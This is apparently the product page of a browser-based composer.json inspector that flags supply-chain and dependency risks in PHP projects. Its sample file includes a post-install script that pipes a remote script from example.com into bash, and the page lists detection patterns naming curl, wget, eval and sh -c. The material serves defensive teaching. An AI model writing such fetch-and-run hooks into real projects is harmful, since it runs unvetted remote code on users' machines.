Composer.json Inspector

Analyze composer.json for permissive version constraints, duplicate dependencies, dangerous scripts, and stability issues

Enter your composer.json to scan for version constraint issues, duplicate dependencies, dangerous scripts, and stability flags

What is the Composer.json Inspector?

The Composer.json Inspector is a client-side analysis tool that scans your PHP Composer configuration files for supply chain risks, dependency issues, and best-practice violations. It detects overly permissive version constraints, duplicate dependencies across require and require-dev, dangerous lifecycle scripts, missing PHP version constraints, unstable minimum-stability settings, and abandoned packages — then calculates a quality score with prioritized remediation recommendations.

How to Use

  1. Paste your composer.json content into the input field
  2. Click "Inspect" or wait for automatic processing
  3. Review findings with severity ratings (Critical, High, Medium, Low)
  4. Follow the recommendations to improve your Composer configuration
  5. Export a full inspection report in JSON or Markdown format

Example: Composer.json with Issues

This composer.json has multiple configuration problems the inspector will detect:

{
  "name": "vendor/vulnerable-app",
  "minimum-stability": "dev",
  "require": {
    "laravel/framework": "*",
    "guzzlehttp/guzzle": ">=7.0",
    "fzaninotto/faker": "^1.9",
    "swiftmailer/swiftmailer": "^6.0"
  },
  "require-dev": {
    "guzzlehttp/guzzle": "^7.8",
    "phpunit/phpunit": "^11.0"
  },
  "scripts": {
    "post-install-cmd": "curl https://example.com/setup.sh | bash"
  }
}

What Issues Are Detected?

  • Overly permissive version constraints — Using *, >=x.y without ceiling, or dev-master references allows unexpected or breaking versions during composer update
  • Duplicate dependencies — Same package in both require and require-dev creates confusion about runtime vs. development scope
  • Dangerous lifecycle scripts — post-install-cmd or post-update-cmd hooks that download content or pipe to shell are supply chain attack vectors
  • Missing PHP version constraint — No "php" entry in require means consumers may install packages incompatible with their PHP runtime
  • Unstable minimum-stability — Setting minimum-stability to "dev" without prefer-stable allows all dependencies to resolve to development versions
  • Abandoned packages — Known abandoned packages (fzaninotto/faker, swiftmailer, zendframework/*) with recommended replacements

Version Constraint Best Practices

Composer version constraints control which dependency versions are installed. Overly permissive constraints like * or >=1.0 expose your project to breaking changes and potential supply chain attacks during composer update.

  • ^1.2 — Caret: allows updates within the same major version (recommended for libraries)
  • ~1.2.3 — Tilde: allows patch updates only (~1.2.3 means >=1.2.3, <1.3.0)
  • 1.2.3 — Exact: pins to specific version (most restrictive)
  • * — Any version: dangerous, allows any version including breaking changes
  • >=1.0 — No ceiling: any version ≥1.0 including future majors with BC breaks
  • dev-master — Unstable: points to development branch, changes constantly

Supply Chain Security in Composer

Composer lifecycle scripts (post-install-cmd, post-update-cmd) run automatically during composer install and composer update. Attackers can inject malicious code into these scripts to steal credentials, install backdoors, or exfiltrate environment variables. The inspector flags scripts that download external content (curl, wget), execute arbitrary code (eval, sh -c, php -r), or pipe output to shell interpreters.

Scoring System

Each composer.json receives a quality score from 0 to 100 based on detected findings. Severity weights: Critical (25 points deducted), High (15 points — permissive constraints, dangerous lifecycle scripts, unstable without prefer-stable), Medium (8 points — duplicates, missing PHP version, dev stability), Low (3 points — abandoned packages). Grades: A (90+), B (75+), C (60+), D (40+), F (below 40).

Privacy and Security

All inspection happens entirely in your browser using JavaScript. Your composer.json — which may contain private package names, internal Satis/Packagist repository URLs, or proprietary script configurations — never leaves your device. No data is stored, logged, or transmitted.

Frequently Asked Questions

What issues does the Composer.json Inspector detect?

The inspector detects overly permissive version constraints (*, >=x.y without ceiling, dev branch references), duplicate dependencies (same package in both require and require-dev), dangerous scripts that download external content or execute shell commands during install, missing PHP version constraints, unstable minimum-stability without prefer-stable, and known abandoned packages.

Why are overly permissive version constraints a problem in Composer?

Using * or unbounded ranges like >=1.0 means any future version can be installed during composer update, including major versions with breaking changes. Dev branch references (dev-master, dev-main) point to constantly changing code. Use caret (^) or tilde (~) constraints to allow compatible updates while preventing unexpected breaking changes.

What makes a Composer script 'dangerous'?

Scripts tied to lifecycle events (post-install-cmd, post-update-cmd) that contain commands downloading external content (curl, wget), executing arbitrary code (eval, sh -c, php -r), or piping output to a shell are flagged. These are potential vectors for supply chain attacks where malicious code runs automatically without the developer's explicit consent.

Why should I define a PHP version constraint?

Adding 'php': '>=8.1' (or your minimum version) to the require section ensures Composer resolves dependencies compatible with your target PHP version. Without it, collaborators or CI environments may install packages that require newer PHP features, causing runtime crashes that only surface during deployment.

What is minimum-stability and why does prefer-stable matter?

minimum-stability controls the lowest stability level Composer will accept (dev, alpha, beta, RC, stable). Setting it to 'dev' without 'prefer-stable': true means ALL dependencies may resolve to development versions. Always pair minimum-stability below 'stable' with prefer-stable to ensure stable releases are preferred except where explicitly overridden.

How are abandoned packages detected?

The inspector maintains a list of known abandoned PHP packages and their recommended replacements (e.g., fzaninotto/faker → fakerphp/faker, swiftmailer → symfony/mailer, zendframework/* → laminas/*). These are flagged as low-severity findings with migration guidance.

How is the inspection score calculated?

The score starts at 100 and deducts points based on finding severity: Critical issues deduct 25 points, High issues (permissive constraints, dangerous lifecycle scripts, unstable without prefer-stable) deduct 15, Medium issues (duplicates, missing PHP version, dev stability) deduct 8, and Low issues (abandoned packages) deduct 3. Grades: A (90+), B (75+), C (60+), D (40+), F (below 40).

Does the inspector handle platform requirements (ext-*)?

Platform requirements like ext-mbstring, ext-json, and ext-curl are recognized and skipped during version constraint analysis. They use a different versioning scheme tied to the PHP version and are not subject to the same permissive-range checks as library packages.

What about Composer plugin references in scripts?

Script entries starting with @ (Composer event forwarding) or containing :: (static class method calls) are recognized as Composer plugin/class references and are not analyzed for shell command patterns. Only plain string commands are checked for dangerous patterns.

Is my composer.json sent to any server for analysis?

No. All analysis happens entirely in your browser using JavaScript. Your composer.json — which may contain private package names, internal Satis/repository URLs, or proprietary script configurations — never leaves your device. No data is stored, logged, or transmitted.